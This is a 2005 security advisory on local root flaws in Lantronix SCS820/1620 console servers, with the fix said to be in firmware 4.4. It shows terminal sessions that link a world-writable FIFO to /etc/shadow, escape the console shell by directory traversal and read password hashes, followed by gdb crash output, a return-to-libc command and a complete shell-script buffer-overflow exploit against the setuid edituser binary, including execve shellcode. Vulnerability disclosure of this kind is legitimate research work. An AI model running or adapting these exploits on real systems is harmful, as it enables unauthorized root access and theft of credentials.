lantronixRoot.txt

` /*  
*****************************************************************************************************************  
$ An open security advisory #11 - Lantronix SCS Local Root Exploits  
*****************************************************************************************************************  
1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com || c0ntex[@]open-security.org  
2: Bug Released: August 05 2005  
3: Bug Impact Rate: Hi  
4: Bug Scope Rate: Local  
*****************************************************************************************************************  
$ This advisory and/or proof of concept code must not be used for commercial gain.  
*****************************************************************************************************************  
  
SCS820/1620 - Lantronix Secure Console Server  
http://www.lantronix.com  
  
"The SCS820 and SCS1620 are members of the ActiveLinx family of secure console servers (SCS).  
With ActiveLinx secure console servers, system administrators can tackle local and remote IT  
incidents in record time. IT professionals gain key business advantages such as reduced time  
attending problems and lowered total cost of ownership for equipment and maintenance. Secure  
console servers provide a significant return on investment with faster problem solving  
capabilities and higher uptime."  
  
  
Multiple security issues with Lantronix Secure Console Server mean that it is trivial for a  
user to become root and cause trouble on the system by abusing buffer overflows and insecure  
file system configurations.  
  
  
1) Insecure /tmp and pipe permissions.  
2) Directory traversal allowing local users unauthorised access to underlying Linux OS.  
3) Sysadmin gains local root by abusing the fact that ci does not drop root privileges.  
4) All users local root via edituser using return-to-libc and generic stack smash.  
  
  
Lantronix have released a fix for these issues in their latest patch, Firmware v4.4  
  
  
Example 1: Overwrite root owned files  
----------  
[c0ntex@SCS1620 /tmp]$ ls -al  
total 2  
drwxrwxrwx 2 root root 1024 Oct 31 00:50 ./  
drwxr-xr-x 16 root root 1024 Oct 20 11:38 ../  
prw-rw-rw- 1 root root 0 Oct 31 00:14 listen_fifo_server|  
  
  
[c0ntex@SCS1620 /tmp]$ mv listen_fifo_server listen_fifo_server.orig  
[c0ntex@SCS1620 /tmp]$ ln -s /etc/shadow listen_fifo_server  
  
Now user waits for system administrator to log in and do some work on the console:  
  
sysadmin>listen 01  
Please wait for connection..  
sysadmin-DEVICE_01>logout  
  
[sysadmin@SCS1620 /tmp]$ su - root  
Password:  
su: incorrect password # odd......  
  
From another window:  
[root@SCS1620 /tmp]# head /etc/shadow  
j /tmp/listen_fifo_5226;DEVICE_0121:0:99999:7:-1:-1:134550324  
bin:*:11529:0:99999:7:::  
daemon:*:11529:0:99999:7:::  
adm:*:11529:0:99999:7:::  
  
  
Example 2: Directory traversal to gain access to underlying system  
----------  
c0ntex>?  
Commands:  
alias - List command aliases  
cat - Print history buffer  
clear - Clear port buffer  
connections - show active connections  
...  
c0ntex>/bin/bash  
/bin/bash: unknown command  
c0ntex>  
c0ntex>  
c0ntex>../../../bin/bash  
[c0ntex@SCS1620 /var/tmp]$  
  
  
Example 3: Sysadmin becomes root  
----------  
sysadmin>  
sysadmin>  
sysadmin>bash  
sysadmin@SCS1620 /var/tmp$  
sysadmin@SCS1620 /var/tmp$  
sysadmin@SCS1620 /var/tmp$ cat /etc/shadow  
cat: /etc/shadow: Permission denied  
sysadmin@SCS1620 /var/tmp$  
sysadmin@SCS1620 /var/tmp$  
sysadmin@SCS1620 /var/tmp$ exit  
sysadmin>../../../bin/cat /etc/shadow  
root:$1$kjhfiusdhf9hs9f898ufs89ujfoj292020i2krp.:12721:0:99999:7:-1:-1:134550324  
bin:*:11529:0:99999:7:::  
daemon:*:11529:0:99999:7:::  
...  
sysadmin>../../../bin/vi  
~  
~   
~  
~  
~  
:!cat /etc/shadow  
root:$1$kjhsfsdfsdff9hs9f898ufs89ujfoj292020i2krp.:12721:0:99999:7:-1:-1:134550324  
bin:*:11529:0:99999:7:::  
daemon:*:11529:0:99999:7:::  
...  
~  
~  
~  
~  
~  
:q!  
  
  
Run bash from the ci interface as sysadmin and from strace, we get the following:  
  
sysadmin>bash  
...  
14441 [400d8367] getuid() = 500  
14441 [400f775b] setresuid(ruid 4294967295, euid 500, suid 4294967295) = 0  
  
and via directory traversal:  
  
sysadmin> ../../../bin/bash  
...  
14392 [400ab367] getuid() = 500  
14392 [400ab3c7] getgid() = 100  
14392 [400ab397] geteuid() = 0  
14392 [400ab3f7] getegid() = 100  
...  
  
sysadmin>../../../home/sysadmin/snakeoil 10719  
  
Attached process [10719] OK!  
++ Stack regsiters for PID of [10719] ++  
Stack Address of %eax = [0xfffffe00]  
Stack Address of %ecx = [0xbffff100]  
Stack Address of %edx = [0x00000000]  
Stack Address of %ebx = [0xffffffff]  
Stack Address of %esp = [0xbffff0c8]  
Stack Address of %ebp = [0xbffff0e8]  
Stack Address of %esi = [0x00000000]  
Stack Address of %edi = [0xffffffff]  
Stack Address of %eip = [0x400d79a9]  
  
Injecting %eip register with [0xbffff2bb]  
  
++ Stack regsiters for PID of [10719] ++  
Stack Address of %eax = [0xfffffe00]  
Stack Address of %ecx = [0xbffff100]  
Stack Address of %edx = [0x00000000]  
Stack Address of %ebx = [0xffffffff]  
Stack Address of %esp = [0xbffff0c8]  
Stack Address of %ebp = [0xbffff0e8]  
Stack Address of %esi = [0x00000000]  
Stack Address of %edi = [0xffffffff]  
Stack Address of %eip = [0xbffff2bb]  
Detached process [10719] OK!  
  
bash#   
  
  
Example 4: Become root - Buffer overflow in edituser binary  
  
The edituser binary is used to edit a users configuration parameters found in UserName.conf.  
It lets you set escape sequences, server permissions and other basic user permissions and  
features of the Secure Console Server.  
  
During exploitation, edituser will strip \xff from the input, so you have to use a retaddr  
that does not have the standard 0xbfff1234 type address. By creating a large pad environment  
variable before running the test you can nudge your shellcode to a nice location, such as  
0xbffe1234, which lets us get round this trivial obstacle. The return-to-libc method also  
needs the stack nudge since the address for "/bin/sh" is stored in the environment.  
  
[sysadmin@SCS1620 /usr/local/bin]$ ls -al edituser  
-rwsr-xr-x 1 root root 12912 Apr 15 2003 edituser  
[sysadmin@SCS1620 /usr/local/bin]$ su - c0ntex  
Password:  
bash$ cp `which edituser` . && gdb -q ./edituser  
no debugging symbols found)...gdb>  
gdb>  
gdb>r -b `perl -e 'printf "\x41" x 70'`  
escape sequence is too long.  
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no  
debugging symbols found)...  
Program received signal SIGSEGV, Segmentation fault.  
_______________________________________________________________________________  
eax:00000000 ebx:00000004 ecx:4001A94B edx:4010B140 eflags:00010246  
esi:0804BC0C edi:00000000 esp:BFFEC748 ebp:41414141 eip:41414141  
cs:0023 ds:002B es:002B fs:0000 gs:0000 ss:002B o d I t s Z a P c  
[002B:BFFEC748]---------------------------------------------------------[stack]  
BFFEC778 : 28 D6 04 08 6C C9 10 40 - 70 A8 00 40 94 F8 FE BF (...l..@p..@....  
BFFEC768 : 8C 9B 04 08 01 00 00 00 - 60 BC 04 08 08 BC 04 08 ........`.......  
BFFEC758 : BC BC 04 08 F0 C7 FE BF - 01 00 00 00 48 F8 FE BF ............H...  
BFFEC748 : 41 41 41 41 41 41 41 41 - 41 41 00 08 FF FF FF FF AAAAAAAAAA......  
[002B:0804BC0C]---------------------------------------------------------[ data]  
0804BC0C : 39 BA 01 40 2C BA 01 40 - 1E BA 01 40 10 BA 01 40 9..@,..@...@...@  
0804BC1C : 00 00 00 00 00 00 00 00 - 03 00 00 00 00 00 00 00 ................  
[0023:41414141]---------------------------------------------------------[ code]  
0x41414141: Error while running hook_stop:  
Error while running hook_stop:  
Cannot access memory at address 0x41414141  
0x41414141 in ?? ()  
gdb> q  
  
  
//return-to-libc version for non-exec-stack systems  
  
[c0ntex@SCS1620 ~]$ id -a  
uid=501(c0ntex) gid=501(c0ntex) groups=501(c0ntex)  
[c0ntex@SCS1620 ~]$ export STACKPAD=`perl -e 'print "A" x 65000'`  
[c0ntex@SCS1620 /home/c0ntex]$ edituser -e `perl -e 'print "A" x 56'``printf "\x70\xe6\x05\x40\x70\xe6\x05\x40\x81\xfd\xfe\xbf"`  
escape sequence is too long.  
bash: /bin/bash/.bashrc: Not a directory  
bash#  
  
  
//general stack-smash version for older boxes  
  
#!/bin/sh  
# Lantronix Secure Console Server edituser root exploit by  
# c0ntex - [email protected] | [email protected]  
# Advisory @ http://www.open-security.org/advisories/11  
#  
# The Linux system supplied by Lantronix does not have gnu  
# C compiler, so the exploit is provided as a shell script  
# as such, you might need to change the address for   
#  
#[c0ntex@SCS1620 ~/exploit]$ sh edituserxp.sh  
#  
# **** *** *** *** *** *** *** *** ***  
#[-] Local root exploit for edituser using return-to-libc  
#[-] discovered and written by c0ntex | [email protected]  
#Expect a root shell :-) -> escape sequence is too long.  
#bash# id -a  
#uid=0(root) gid=0(root) groups=100(users),0(root),200(admin)  
#bash#  
#  
BUFFPAD="OPEN-SECURITY.ORG**OPEN-SECURITY.ORG**OPEN-SECURITY.ORG!"  
NOPSLED=`perl -e 'print "\x41" x 1000'`  
RETADDR=`printf "\x74\xc2\xfe\xbf"`  
SETUID=`printf "\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80"`  
SHELL=`printf "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"`  
STACKPAD=`perl -e 'print "A" x 65000'`  
VULNAP=/usr/local/bin/edituser  
VULNOP="-e"  
  
export BUFFPAD NOPSLED RETADDR SETUID SHELL STACKPAD VULNAP VULNOP  
  
printf "\n **** *** *** *** *** *** *** *** ***\n"  
printf "[-] Local root exploit for edituser\n"  
printf "[-] discovered and written by c0ntex\n"  
  
if [ -f $VULNAPP ] ; then  
printf "Expect a root shell :-) -> "; sleep 1  
$VULNAP $VULNOP $BUFFPAD$RETADDR$NOPSLED$SETUID$SHELL  
success=$?  
if [ $success -gt 0 ] ; then  
printf "\nSeems something messed up, changing NOPBUF to 10000 and trying again!\n"  
sleep 2  
unset NOPSLED  
NOPSLED=`perl -e 'print "\x41" x 10000'`  
printf "Expect a root shell :-) -> "  
$VULNAP $VULNOP $BUFFPAD$RETADDR$NOPSLED$SETUID$SHELL  
success=$?  
if [ $success -gt 0 ] ; then  
printf "\nAgain it failed, sorry you are on your own now :(\n"  
fi  
fi  
fi  
  
EOF  
`